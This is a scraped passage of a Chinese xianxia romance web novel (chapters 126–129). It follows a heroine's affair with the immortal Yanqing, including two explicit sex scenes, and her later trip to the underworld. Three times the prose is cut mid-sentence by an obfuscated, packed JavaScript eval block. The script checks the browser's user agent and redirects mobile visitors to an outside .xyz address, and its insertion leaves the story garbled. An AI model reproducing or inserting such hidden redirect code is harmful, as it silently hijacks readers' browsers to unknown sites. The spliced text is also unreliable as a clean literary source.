砚清的生活极有规律,采药、看书、用膳,据说他在此地半年间,日复一日。而我,一个突兀的闯入者,与这方天地格格不入还打扰了他修行。 或许……该离开了。 我尝试着淌着水过湖,可脚尖刚触及水面,似乎有股力量拉扯,要把我吸入水中。 “在做什么?” 清冷的声音蓦地在身后响起。方才还静坐屋内的砚清,此刻已立于我身后。 “我想试试这水有多深。”我故作镇定地收回脚。 “试了,然后呢?” “身上黏腻,想洗个澡。” “这水中有吃人的妖怪,洗干净成为它的盘中餐吗?” 我心里咯噔一声,下意识后退了半步,努力维持着面上的平静。 “妖、妖怪?!所以您是和妖怪独居在这……荒郊野岭?!” “后山有温泉。” “后山……没有妖怪吧?” “有野兽。” “……那我不去了。” “脏兮兮的不准进屋子。” “……” 这是什么话?昨夜明明同处一室,若我真脏,他早该嫌弃了才是。 温暖的泉水,我捧起水打湿脸庞,揉搓着麻木的双手,苍白的皮肤上忽然有淡淡的纹路显现。 “嗯?这是什么?” “封印。” “啊——!你你你你你!” 我霎时面红耳赤,半天说不出完整的句子。 砚清抱臂站在不远处的树后,露出半边身子。 “好好说话。” “你怎么偷看我洗澡!” 谁料他理直气壮地承认道:“你不是害怕吗?” “怕——所以仙长是担心我?不是偷看?” “都不是。” 他竟还往前踱了两步,惊得我往泉心又缩了缩。我慌忙拼命护住身前春光,心下担心他应该什么也没看到吧。 “这纹路是封印,封住你体内某样东西的封印。” “我、我的什么?” “不知。不过封印既现,恐怕意味着——你时日不多了。” “啊?!我要死了?!” “转过身去。” 我哆嗦着乖乖照做。他还怪贴心的,不忘安慰我。 “不是寿命终结,恐怕,是别的什么。” 身后忽然传来入水的声音,我悚然僵住,将自己抱得更紧。后背被温热的手掌贴住,身体不自觉一颤,喉间发出短促害臊的一声“哈”。 “别动,凝神静气,专注在丹田。” 我本能地蜷缩起身子,想藏住什么。看不到他的脸,却感觉自己好像又离他很近、很近……好像快贴上,有什么想要融进我的身子…… 想看看他此刻,是什么表情…… 偷看的眼神被逮个正着, “上药不专心,泡澡也不专心。” 谁和男人泡澡静得下心来啊!还是……如此清隽的仙男。 “仙长为何如此冷静?明明和女子一起……” “因为我对你毫无非分之想。” “……” 话虽如此,但我看清他的嘴角荡漾起止不住的笑意。 我调侃道:“仙长说完自己的都笑了。” 他又立马板着脸,索性转过身背对我。 “这下你能专心了吧。” “是……” 水雾朦胧中,我用手背探了探脸颊灼热的温度,耳朵一直关注着身后。 砚清开口道:“这纹路普通的法子无法消除。要么医仙帮忙,要么——” “要么?” “双修。” “双修是什么?” “……你连双修也不知道?” 我说我一无所知,你信吗? “双修需要做什么?” “嗯。” “那仙长教教我吧。” “一个人做不到,要……两个人。” “仙长是打算帮我吗?” “……你希望我帮你吗?” “希望!” “……嗯。” 感受到一股视线从后上方落下,始终盯着我。周身笼罩着燥热,温泉水愈发滚烫,灼人发肤。 朦胧间好像听到了突兀的声响。似水波荡漾,又似暗潮涌动。 “方才,什么声音?” “……没什么。” 我下意识望向声音源头,却撞入一片雪白。仙人的胸膛明晃晃地出现在眼前,吓得我赶忙收回。 他怎么也没穿!!只是入水双修,没必要脱个精光吧!! 砚清踏着水底的卵石朝我逐步靠近,然后停在留与我转身余地的位置。 回身之际,我立马抬手捂住他的眼睛。 “这是……双修吗?仙长没有骗我?” “你若不想,我可以离开。” “别——”我紧张了一下,真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056839|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕他说走就走。 一声轻叹,砚清的手掌试探着抚上我的腰侧。 “害怕就抓紧我。” 若有似无的痒意令我下意识缩了缩身体,双手紧抓住他的肩膀,生怕一个不稳落入水中。 “有些难受……” “忍忍。我继续。” 我刚一点头,更为灼热的暖意笼了上来。 是他的灵力,充沛的灵力正被注入,贯穿全身。 余光瞥见身上的纹路确实在淡化,只是这双修……怎么有些怪。 砚清的另一只手始终稳稳地托着我,还有一只我无法感受的手许在何处运转灵力吧。 “我想……我想吻你……” 这话是谁说的?是我?还是他? 意识混乱,搞不清现状了。 我偏过头,没想过把脖颈送到他唇边。他粗重的一声喘息,顺势吻上那跳动的脉息,舌尖舐过,身子一软,脑袋耸拉着搭在他肩头。 林间小潭,唯剩彼此交错的喘息。 “你……亲我?” “不是你想吻我吗?” 所以方才的话,是我说的? 我本能地捂住嘴巴,砚清的手强行插入我的掌心与唇瓣之间,带着薄茧的手指探入其中,惊起更加不堪入耳的声音。 退出唇缝的指尖亲昵地拂过我的唇瓣,那双迷乱着情意的眼里,是不堪入目的自己。 “不想听我的声音……也不想看到自己这副样子……” 我环紧他的脖颈,不许那双眼睛再次映照出我的模样。侧耳贴近他的唇鼻,只听他的呼吸。 夜色静谧,砚清提灯走前头,引着我下山回屋。 “脚好些了吗?” “啊?啊!” 他刚问完话,我还没反应过来,竟又被突起的树根绊了个趔趄,结结实实扑进泥地里。 “啊……白洗了。” 我望着沾满泥污的衣袖欲哭无泪,好在脚没事。 “怎么连路也走不稳。”他驻足回望。 “还不是——” 话到嘴边又咽下。 还不是怪你的双修,托您的福,现在两条腿、整个身子都跟烂泥似的,软的不成样子。 思及此,脸涨红得比方才厉害,口干舌燥。 一声轻叹,砚清忽然在我跟前弓腰蹲下身,将提灯搁置一旁。 “上来吧,我背你。” “可以吗?仙长不会嫌弃我的衣裙脏——” “一。二——” 我慌忙攀上他的背,双手搭在他的肩上。 砚清起身时极稳,掌心温度透过衣料烙在腿弯。 闻着仙人身上的味道,我忍不住将下巴垫在他肩膀上,一遍一遍深吸这股只来自于他的味道。 若能长留此山,与他朝看云海,暮数星辰,岁岁年年……若能的他一心,白首不离…… “那该多好……”不觉喃喃出声。 困意来袭,我贪婪地环紧他的脖颈,靠在他后背沉沉睡去。 砚清无奈,只放慢了些脚步,好让我睡得舒坦。 【又拂卿柳】 背上的人每每睡着,总会梦呓。 下个山的功夫,嘴里又念叨起什么。 “师尊……大人……夫君……仙人……” 这是在念什么?对谁的称呼吗? “颜……卿……花神和医仙也姓颜……” “……” 本以为是语无伦次的梦呓,没料想……这不知从何寻来此地的姑娘知晓那么多。 再说,她能寻到这片山,闯入自己设下的结界,早已说明她并非常人。 砚清似是明白了隐藏其中秘密,垂下眼神,淡淡笑了出来。 “无聊。” 垂眸时,砚清又看到,干瘦的身躯上淡色纹路再次清晰。 什么双修,什么封印…… 骗她的借口罢了。 127. 一樽能为辍行不 “为诚挚地表达谢意,给仙长送件什么谢礼好呢?” 思来想去,我决定用林间的竹,做一只笛子送给他。 也不知道仙人擅不擅长,不会是个音痴,到时候投琼见拒,惹怒了仙人?! “不行!费死费力做好的,知书达理、礼仪得当之人不可能不收!” 深吸一口气,我壮着胆拍了拍裙摆上的灰尘,抽出襻膊撸好袖子,准备干活! 虽然砍竹子没有想象中费力但是…… “到底是锯子有问题,还是竹子有问题,还是地势不对的问题啊!” 根本锯不动!锯齿卡在竹子中间,如何费力拉拽,无动于衷。 身旁的蝴蝶一个劲儿围着我转,在眼前晃过来晃过去。 “你先在一边玩儿,等我锯完竹子再陪你。” 这只蝴蝶便是初见那日,在我掌心变成茉莉的仙蝶。不知为何,花香散去后,它变回原貌,没有回到砚清袖中,而是终日缠着我,让我和它玩乐。 至于和一只蝴蝶怎么玩儿…… 我除了跟它玩你追我赶,没别的。 “说来笛子到底有几个孔啊?”我看向蝴蝶问道,“你知道吗?” 蝴蝶停悬在半空,扑扇了几下翅膀,七颗星星似的光点飞出。我恍然大悟,欣喜地谢过蝴蝶后继续忙碌。 “哎呀呀,一只蝶都比我聪明。” 忽然想到什么,我伸出指尖好让蝴蝶停下来歇息。 “说来你为何一直跟着我呀?就这么喜欢我?” 停住的蝴蝶又扇了下翅膀,回应我的话。 “欸,你既然能变成茉莉,是不是也能变成别的?” 它上下飞动,表示肯定。 相处数日,我已能读懂它的动作。 “我喜欢狸奴,能变只肥肥圆圆的玄猫吗?” 蝴蝶的翅膀僵了一下。是这个要求太为难它了吗?玄猫……很少有肥肥圆圆的吧? “橘猫也行!”我赶紧改口。 话音刚落,怀中蓦地一沉。 “啊!好可爱!” 我手忙脚乱地架起猫猫前肢,跟它撞了撞头头。 “好可爱的猫猫!毛乎乎的~” 这猫就像认识我的似的,在我腿上原地转了个圈,而后懒洋洋地团成球慢慢睡去。 “我要给你起个名字!以后你就是我的猫啦!” 顺着油光水滑的猫毛,我沉吟着思索给它个什么名字合适。 忽然,奇怪的两个字冒出脑海,怪可爱的,我便暗自定下。 “以后,你就叫二胖啦。不过变成蝶的时候还是得叫蝶。呸,蝴蝶。” 差点认蝶做爹。 有猫作伴,竹笛赶在太阳落山前完工。 我将竹笛藏在腰后去寻砚清。 他坐在悬崖边一块表面平整的巨石上,手里果不其然捧着书卷。橙光落日半隐在云层后,射出的光芒勾勒出他暖融融的侧脸。 我漫步凑近砚清,本想从背后吓他,奈何我低估了仙人敏锐的感知。 他漫不经心睨了我一眼,似是警告。 我耸了耸肩,在他身边坐下,寻思着如何开口。 “仙长除了擅长医术,还擅长什么?” “仙家自来精通六艺。” “这么厉害!不愧是仙长!” 我顺水推舟地将藏在身后的东西塞到他手中。果然,砚清脸上瞬间浮出震惊,眼睛微微睁大。 “这是什么?虫蛀了的竹节?” “是竹笛!” 我急急辩解,却见他指尖仙光流转,几只粉蝶翩然没入竹身。斑驳的虫洞渐渐愈合,化作精巧的音孔。 “现在是了。” 我接过他递来的竹笛,忍不住送到唇边,轻吹一口气。 清脆的笛音响起,我惊了一下,难以置信地看看竹笛又看看砚清。 “能吹了?!方才还有的竹虫尸体的味道也没了?!” 落日余晖透过林间的缝隙照耀在脚边,砚清唇角扬起个不太明显的弧度。 “吹一曲?” “我吗?只学过一段时日,恐怕吹不好……” “没关系。不好听,我会阻断听觉。” “……” 分明说着刻薄话,却偏要摆出聆听的姿态。 我慢慢摩挲着笛身,指尖就位,送到唇边。 凭着模糊的记忆,我临时给曲子想了个名字。一曲终了,我们相继沉默片刻,回味在方才的清笛中。 “此曲名为《天上月》,仙长喜欢吗?” “是你编创的曲子?” “没错!”其实是我望着恰巧升起的玉盘,急中生智,“但词只写了一句,后面的暂时想不出来。” “我听听?” 晓不得他是看穿了我的谎言,还是真来了兴致。不过难得砚清对我如此感兴趣,我怎可错失良机! 死脑子快想!赶紧编一首诗出来! 心跳如擂鼓,我望着水中碎月轻吟:“顾影海底月,辞眸心上人。” 低下头,海底的月亮碎成一片粼光,像一场触不到的梦;再抬头时,你的背影已模糊在风里,只剩心跳声在沉默中回响。 砚清眼中泛起涟漪,竟抚掌而笑:“倒是小瞧你了。” 原是在笑话我! 我正失落,却听他话锋一转:“脚,好些了?” “嗯!多谢仙长照料,已经完全好了。” “那明日我就送你下山。” “啊?” “你不是要回蓬莱仙岛?” “蓬莱……好像是,有这么回事……”我攥紧竹笛,“仙长在……赶我走吗?” “难不成你还想一直待下去?” 确实正有此意。 这些朝夕相处的日子,终究没能在他心里激起半分涟漪么? 没了理所当然的理由,自然也无法理所当然地留下。 “你该不会以为,朝夕相处几日,我就会对你产生情愫吧?” 他说话时没看着我,而是眺望远处的云海滚滚。 “……嗯。” 看穿了也别直白地说出来啊! 我垂下眼睫,失落感压在胸口,有些喘不上气。 “凡人的命数有定,仙凡有别,你也早日放弃吧。” 莫名熟悉的话,让我一时分不清幻梦一场,还是穿越了时空。 “那倘若我是仙,你会选择我吗?” “……不会。” 心底凉成一片,我看向砚清,他的目光带着笃定,让我的心更凉了。 “仙长……我想牵你的手。” “不可以。” “贴着你坐?” “也不行。” 越是淡漠的语气,越令我全身不由自主地贴近他。 我将手轻轻撑在他的大腿上,欺身而上,直直闯入他的视线,让他的眼睛里只有我。 眼波流转,他左右避不开,索性闭上眼。 “砚清……你看看我。你看我啊。看看我好不好……” “看了,你岂不是要耍流氓?” 想法被一语道破,我不好意思地挠了挠后颈。 “别那么无情地拆穿嘛……我也不知为何,偏偏对你这样。” 偏偏,只想缠着你。 读懂我心虚的天空突然下起雨。雨点印在石壁上,逐渐浇透。他优雅地跳下去,准备打道回府。 我待在原处,任由雨水浇灌,浇灭心底躁动的火。 砚清看了我一眼,也只看了一眼,便头也不回地消失在雨幕中。 “下来吧。” 不知过去多久,感觉衣裳湿透黏在皮肤上。我迟缓地抬头,看着面前撑了把伞重新出现的人。 “你是……专程来接我吗?” 他将伞面微倾,平淡道:“进来吧。” 轻微的雨声中,我原本平静的心情随着他的话语变得紧张。 “我想靠你近一点……” 他眉梢几不可察地一动。 “一把伞,怎么隔得远?” 明知故问,他分明知道我是何意。 我仰头望进他眼底,从未如此笃定地就此一搏。 “如果仙长同意再与我双修一次,我就进你的伞。如果拒绝,大可不用管我。” “……” 雨水顺着下颌滑落,分不清是雨是泪。 伞面又压低一寸,遮去我满身狼狈。他终是叹了口气:“进来再说,生了病,我可不会管你。” 我几乎是跳到砚清身上。 纸伞被撞击翻转着落在湿滑的地面,我攀缘在他身上,粗暴地吮吸着那张老说些口是心非的嘴唇。 交错的气息蔓上淡淡的水汽,我下意识用手抓住砚清脑后的墨发,强迫他仰起头,好让我的舌尖和唇瓣摩挲他的喉结。 我听见他吃痛闷哼了声,变本加厉地更用力。 下一秒,整个人被推着向后了半寸。 我的两条腿还挂在他腰间,上身已经离他一臂的距离。 彼此皆喘着粗重的呼吸,四目相撞,无声交流着什么。 当罗带簌簌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056840|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落地,后背贴上濡湿的石壁时,凉意从我的尾椎蹭到脖颈。尤为滚烫的舌尖不断向深处探进,惊起更大的雨声。 “砚清……砚清……砚清……” 我只一遍遍地呼唤着他的名字,不知餍足。 忽地,清隽之人的脸庞再次出现在上方,吞没我的话。 “太聒噪。” 酣畅淋漓的雨幕下,不知天地为何物的男女,痴情交织。没有暧昧的情话,没有温柔的爱抚,只有遵循本能的夺取。 他不想我看他的表情,被迫着让我转过身去。我无力反抗,任由他侵占我灵魂深处的每个角落,逐渐将我填满。 突然,后颈爬上一阵直冲脑门心、酥麻的钝感。 “你!你别掐我后颈啊……” “不许转身。” “我不转身,你别掐——” 想看……想看他为我疯狂的表情…… 但还没来得及开口,不过心思想了想,肩膀忽然被咬了下。 是他无声的警告。 明明我也想……占据他的灵魂、他的心、他的全部爱意。 到底为何……我到底为何如此渴望他…… 听闻我的哭泣,砚清抬起深埋的脸隔着一定的距离望向我。眼眸含笑,清隽的五官温柔得快溢出来,生生将我淹没。 “也就这种时候能见你笑吗……” 我哭笑不得,抚上他的脸。他顺势捉住,送往唇边,在掌心一吻,脉搏一吻,臂弯一吻,肩头一吻,侧颈一吻,下颌一吻,唇角一吻,与舌深吻。 在纷飞的暴雨中,我向他张开双臂,非要他抱我才肯离开。 砚清照做了,但是—— 一阵强烈的白光散开,刺得眼睛疼,我只好闭上眼。 耳边呼啸着狂风,他似乎抱着我去往什么地方。 光秃秃的地方瞬间果然绸缎,凌乱的发髻也规整地竖起,赤裸的双脚穿好鞋袜…… 风声渐歇,我勉强抬起沉重的眼皮,视线迟迟对不上焦,但好像看见了一片蔚蓝大海。 “海?” “你不是要去蓬莱仙岛吗?穿过这片海域,就是了。” 浑身血液仿佛凝滞,某种不祥的预感在心头蔓延。 他当真要与我道别?且,那么突然? “送走我,接下来仙长去哪儿?还是回竹屋吗?” “回医鹿山。” 医鹿山又是哪儿? “……我们还会再见吗?” “不会。” 内心怅然若失,我仍不死心。 “为何?如果我去医鹿山寻你,你也不见我吗?” 我不安地询问,砚清垂眸无片刻思忖。 “嗯,不见。” “……为何?” “没有为何。不过此生匆匆一面的路人,没必要再见。” “路人……” 胸口分明没有任何受过伤的痕迹,却撕扯得欲要将我从中剥开。我使劲咬着下唇,脑子一热,忿忿道:“萍水相逢还能遇知己,擦肩而过的路人也可能一见钟情啊!” 我无意识地说了句自己都觉得很愚蠢的话,果然,身后传来一声轻笑。 不等我诧异地回头看那人时,砚清已经变回了一张毫无波澜的脸。 “仙长刚才笑了?” “没有。” 说谎。 “再笑一个?反正都要道别了。” 但他只是低着头,面无表情看着我。 我不伤心,耸肩叹了口气。 “行吧。那仙长……保重。” “嗯。” 心口微微发酸、发热,仿佛有什么按耐不住的小兽在轻轻破壳,即将蹦出嗓子眼。 我快步转身向他走去,在他反应过来之前,快速抓住他的臂膀,踮脚抬头亲吻他的唇。 “横竖……再不相见了。无情的男人,我不信你对我毫无感觉。” “信不信由你。” “那天在水池,我其实看到了。你对着我——” 眼见砚清即将恼羞成怒,我撑开他的手掌,强制与他十指交叠、相扣。 “我要诅咒你。诅咒你想我不能见我,见到我,也是在别的男人怀里。” 我轻笑一声,空余的手背抚上他的侧脸。 此时,他反而安静下来,黯淡的眸光盯着我们交握的手。 “你就念我一辈子吧,反正……没必要再见。” 施加下最毒恶的诅咒,我旋即踏着平坦的海面重回蓬莱第几宫。 这场名为消除记忆的梦,结束。 128. 春归柳外燕先觉 粉墙花影,帘卷残荷,宁静怡人的蓬莱第几宫,唯闻鸟鸣、风过竹林以及我的呼吸。 “啊——岁月静好啊。” 我将下巴搁在窗棂上,阖眼聆听。自那日沉睡至今,已五百年整。 恰是凡人一世轮回的光景。 可究竟是哪一日?又为何陷入这般长眠?我竟全然不记得了。 “南风。” 窗外莲池畔,北雷的声音传来。我猛地直起身,赤足奔出门外。 “哥哥!” 他负手而立,藏着什么不让我瞧。待我凑近,他抬手按住我的发顶。 “别动。” 一袭白纱帷帽轻轻落下,笼住我的视线。 “暂不可晒日光,且戴着吧。可有哪里不舒服?” 我摇头晃脑,纱帘随之轻摆,示意无碍。 “那我出门啦!” “路上小心。” 话音未落,我忽地一怔。识海中零碎片段翻涌,似曾相识。 哥哥见状,面露担忧问道:“怎么了?” “好像,在哪儿发生过同样的事,也说了相同的话。在哪儿呢……” 我指尖抵着下颌,苦思不得。 哥哥撩开垂纱,挽至笠沿:“想不起就不必想了,快出发吧。” “嗯!哥哥晚点见!” “等等!” “又怎么了?” 今日的哥哥格外“粘人”。 顺着他目光望去,一位仙姿清肃、威仪凛然的上神正踏云而来。 “是星君,谨守礼数。” “星君?!那位下凡历劫方归的星君?!他怎会来蓬莱?” “噤声!站好!” 星君款款而至,双方执礼相迎。 近看才发觉,这位星君竟是位清丽绝俗的仙君。若说二姐是那寒峰积雪、不容亵渎的冰魄,星君便似瑶池初绽的芙蕖,风华内敛却摄人心魄。 “没想到星君……竟是女子……” 我小声嘀咕出的心声被两位仙君听得真切。 星君不恼,反掩唇轻笑:“常有人误会。许是列为星君威名太盛,我这处在末尾的星君,自然不常被人记得。” 我慌忙摆手:“绝无此事!星君下凡历劫的故事,大家可都赞不绝口!想不到星君你凭一己之力,化解了凡间两国干戈!这等功德,常人可做不到!” 星君面露难堪,“仙子说的……怕是天枢星君的功绩。” 心里一咯噔,我霎时成了不敢说话的哑巴。 身旁的哥哥不慌不忙,不着痕迹地转圜。 “不知星君驾临蓬莱,所为何事?” “前尘往西北之地,偶得此物。循着其上残存的气息,寻至此处。” “发簪?” 星君掌心翻转出一支步摇,上方镶嵌的白梅久积弥厚早已失了原本的色泽。 “这只步摇……不是摔坏了吗?” 星君歪头狐疑地看了我一眼,不明白我所言何意。 其实我也不甚明白,脱口而出的话却不知从何而起。 “没事……最近时常说些不明所以地话,星君别在意。” 星君安慰道:“仙子近来可有什么烦心事?或许,我可替仙子解答。” 她语气温柔得似三月的柳絮,让人忍不住敞开心扉。 “倒也不是烦心事,只是时常说些不明所以的话。例如方才看到星君的第一眼,我竟然——” “仙子竟然?” “竟感觉星君……像我的孩子。” 星君和哥哥相互看了看,不约而同笑起来,留我自尊心作祟地杵在一边。 “不是星君让我说的嘛……又笑我……” “仙子误会了,我二人并非笑话仙子。世间种种皆可用‘缘’字解释,或许我与仙子命中有缘,所以才令仙子生出这等感觉。” “缘吗?” 我望着她掌心的步摇,忽觉心头某处隐隐作痛,却怎么也想不起这痛从何而来。 或许,真就只能用“缘”来解释吧。 “星君,跟我讲讲你下凡历劫都经历了些什么吧?” “确实有趣,便讲与仙子听罢。” 北雷适时提议:“何不去后院凉亭?” 穿过回廊时,我注意到星君步履从容得过分,似是对着方草木格外熟悉。 “星君似乎对蓬莱第几宫……挺熟悉?” 星君有一瞬的迟疑,笑道:“仙子昏睡期间,应邀来过此处。” 原来如此。 凉亭里,北雷正煮着新采的云露茶。星君轻摇折扇,嗓音似浸了月色 “我本投胎在一凡人女子身上,谁知,那并非真正意义的凡人。” 我刚要追问,哥哥忽然按住我的手背,摇头示意。 星君低笑一声,看向亭外池中的白莲:“且听我慢慢道来——” 【星辰旧事】 一整天的奔波让困意不断袭来,西雨努力撑开眼皮,屋中还有一大堆事等着他做。 五千年不曾离开蓬莱仙岛的人,这一走,不晓得多久才能回去。 “真是不走不要紧,一走便无归期啊……” 星君毕竟是下凡历劫,总不能一直待在蓬莱第几宫。待星辰稍大了些,东婝提议西雨带上星辰去往凡间生活。 提议一出,西雨的第一反应是自己何时惹怒了二姐,非要这么折磨自己。 东婝却一本正经道:“一切都是为了星君,谁管你。” 贴心的二姐还给了本凡间生活手册。 “凡人都是靠双手自给自足,你要学会烧火做饭,劈柴种地……还有,有心就自己教,待星辰大一些,可找家书院送她去上学。” “……” 回忆结束,床榻上的西雨拉长叹息,翻起身准备去膳房。 却见星辰早已立在榻边,不知候了多久。 “怎么了?” 委屈的小脸似乎快哭了,西雨预感到什么,拉着星辰走向膳房。 果然,唯一的大铁锅破了大洞,今日唯一的食材沉入火坑,被掩埋在灰烬中。 茸茸的脑袋顺势低下来,贴住西雨的手掌。 “舅舅……星辰错了。” 西雨揉了揉她的发顶。 “星辰没有错。星辰是心疼舅舅,所以想帮忙,对吗?” 星辰点了点头。 “无妨。前日你爹爹来信说今日归来,必带了吃食。” “星辰和舅舅不会饿肚子?” “自然不会。说不定还能带星辰去尝山珍海味。” “海味!” 西雨和星辰居住的地方处在西南地区深山中的一户村落,这里的氏族信奉自己的神明,凡事皆以占卜结果行事。 至于为何定居此地,这与星君日后所要历经劫数有关。 这是西雨真人与砚清第一次正式单独碰面。 夺妹之仇,不共戴天。仇人见面,分外眼红。 砚清站在西雨面前,连招呼都不敢打。若非星辰从屋内探出脑袋,这场对峙不知何时才会打破。 “爹爹!” 砚清弯腰接住扑来的小团子,将星辰高高举起。西雨瞪了他一眼,别开了脸。 是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056841|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫉妒。 “爹爹!舅舅说我们今晚要去吃海味对吗?” 砚清指尖拂过孩子发顶,眉梢挑起温柔的弧度,问道:“星辰想吃什么?” “螃蟹!” “好啊,正好爹爹带了些,今晚咱们就一起尝尝鲜。” “好耶!” 砚清变戏法似的从袖中提出个青竹篓,星辰自小知道爹爹是个变戏法的,习以为常。 晚膳过后,哄好星辰入睡,砚清走出院子。 西雨难得偷闲,正倚在竹椅上小憩。 砚清此来,本是有要事相商。 西雨似有所觉,缓缓睁眼,目光投向远处无垠的夜空,唇角微不可察地扬了扬。 “你既已决策好,又何必跟我说?” “此事,需劳烦西雨真人。” 砚清的话淡淡的,眸色深沉地望着床榻上的星辰。 “南风的梦将尽,地府那孩子也需我照看……往后,能陪星辰的时间,怕是更少了。” “呵,你可真忙。” 想了想,西风又叹息道:“都怪南风,也怨不得你。我答应了。” “真人不问缘由?” “不就是扮作你的模样,陪星辰长大,直至劫数降临?” “嗯。” 星辰黏爹爹,哪怕日日和舅舅在一起,每天念叨最多的还是爹爹。 西雨双手交叉抱在脑后意有所指冷声道:“我从前就不觉得南风能够为人母。一个连自己都照顾不好的人,怎么照顾得好孩子。” “嗯。”砚清轻笑着,“所以真人讨厌我,砚清明白。” 动作凝固一瞬后西雨扬起了一抹嘲讽的笑容。 “为了你的私欲,你们的利益,非要她背上背叛子女的罪名。我永远都不可能原谅你们。” 砚清心知肚明,没说什么。 “星辰没有错,况且星君——”西雨忽地站起身,居高临下地睨着砚清,“既答应了,我会尽职尽责。” “多谢真人。” 宁静的村落,山谷深处吹来的风卷起二人的衣袖。 西雨许久没说话,只是眯着眼睛,以一种微妙的表情看着砚清。 “你该不会……” 【又见东风】 隐姓埋名,星君将过去的故事稍作修饰地讲述出来。 “不想到这位真人,还蛮好心的。”我轻声感叹道。 与我认识的那位真人差远了!西雨只晓得欺负我! 正暗自腹诽,凉亭外忽现一道熟悉身影。 “西雨?!你来干嘛?” 自然不是我问的,是哥哥。 西雨倒是不客气地走进凉亭,施施然在我身侧落座。 “在卧房问道茶香,来讨茶喝。” 星君与西雨相互颔首行礼。感受到气氛逐渐微妙起来,星君从容起身。 “既然物归原主,我也该去往下一个地方了。” 我下意识叫住她。 “星君要去哪儿?” 星君回眸浅笑:“对了,仙子可有兴趣与我一道?” 我眨了眨眼喜上心头:“好啊。不过……我们去哪儿?” 星君沉吟数秒,道:“地府,拜见阎王,赤竹大人。” “我真的可以去……觐见阎王吗?” 星君轻笑:“当然。” 须臾间,眼前景象骤变。咸涩的海风扑面而来,我们已立于悬崖之巅。脚下惊涛拍岸,卷起千堆雪。 “仙子先跳?”星君侧身让出崖边位置。 我猛地后退两步:“啊?!去地府是得死着去吗!” 129. 风过桃溪水渐纹 来之前也没说去地府是这么个去法啊! 星君倒是一脸淡然,仿佛早习以为常。她袖口一抖,摸出一根流光羽带,将另一端轻飘飘递到我眼前。 我愣了一下,怔怔地接过。 “这是——” 我的话还没问完,星君纵身一跃,连带着一起跳下悬崖。 “啊啊啊啊啊啊啊啊啊啊!!!!!!” 坠落的时间漫长到足以让我把毕生悔恨都想遍。直到双脚触到地府阴土,膝盖仍止不住地发软,险些跪坐下去。 “星君还真是……女中豪杰啊……” 我气若游丝,不,魂飞魄散。 她一把搀住我胳膊,笑得明媚:“早就想和仙子来体验一番了。” “啊?为……何?” 是想看我吓得魂飞魄散的狼狈样吗? 星君沉吟思索片刻。 “大概是,想和仙子做些有意思的事情吧。” 有意思的事情……是指跳崖吗…… “走吧,我拉着仙子。” “我没事儿,已经不害怕了。” “但……我想牵着你。” 星君的眼神盈满笑意和真挚,我实在无法拒绝。 “……好。” 亡魂如雾,在幽暗中无声穿行。星君牵着我,步履轻盈、轻车熟路地穿过鬼影幢幢。我一路胆战心惊,对周围随时保持警惕。 “星君为何对此地如此熟悉?” 我终于按捺不住问道。 她指尖微微一紧,唇角浮起一抹似有若无的笑:“我与赤竹大人前世有缘,却始终无法相见。今生便长寻来此来,与他品茗对弈。” “有缘……却不曾见过?” “仙子听来奇怪,但的确如此。前世我为凡人,他为阎君。若非死别,永无相见之期。” 我似懂非懂地点了点头。 阎王比我想象中年轻太多。 殿上端坐的男子玉冠墨袍,执笔批阅生死簿的姿势,倒像文人题诗般风雅。星君说赤竹大人稍后会来后院凉亭寻我们,便先引我过去歇脚。 穿过回廊时,鬼火在青石板上投下摇曳的光斑。星君步履格外轻快,心情颇好,我却总觉得暗处有视线黏在背上,不由加快脚步。 凉亭四角悬着青铜铃,无风自动。星君刚为我斟好茶,忽听得殿前传来鬼差禀报声。 “二位慢聊,我稍后回来。” 二位? 茶烟袅袅中,赤竹不知何时已坐在对面。 星君翩然离席后,凉亭里只剩我与赤竹,一时半会儿没人出声。 他推来一盏热茶,我接过抿了一口,滚烫的茶汤灼过喉咙,直烧心口。 “真好。” “啊?” “能活着,比什么都好,不是吗?” 看着眼前这张似曾相识的脸,我恍惚了一瞬,随即点头。 “嗯!” “对于生死,仙子有何高见?” 我望着亭外翻涌的阴云,以及终年不见日光的黑夜。 “哪儿有什么高见,只是觉得只要活着,就有数不清的‘缘分’。逢未逢之人,了未完之缘。” 赤竹忽然低笑出声,垂下眼睫。 “哈……不愧是仙子。” 亭外黑雾翻涌,无数亡魂如逆流的鱼群游过。赤竹顺着我的视线望去,似有心事。 我没好问出口,怕初次见面便越了界,只得假装被茶呛到,咳嗽两声。 “仙子知道‘南柯浮梦’吗?” 我苦笑道:“知道。说来惭愧,这是我……唯一擅长的法术。” “仙子想做场梦吗?就当——初次见面,我送你的见面礼。” “这多不好意思。我来时匆匆,都没给阎王大人带什么赠礼。” “不必客气。我送仙子的……也不过是场须臾的梦。” 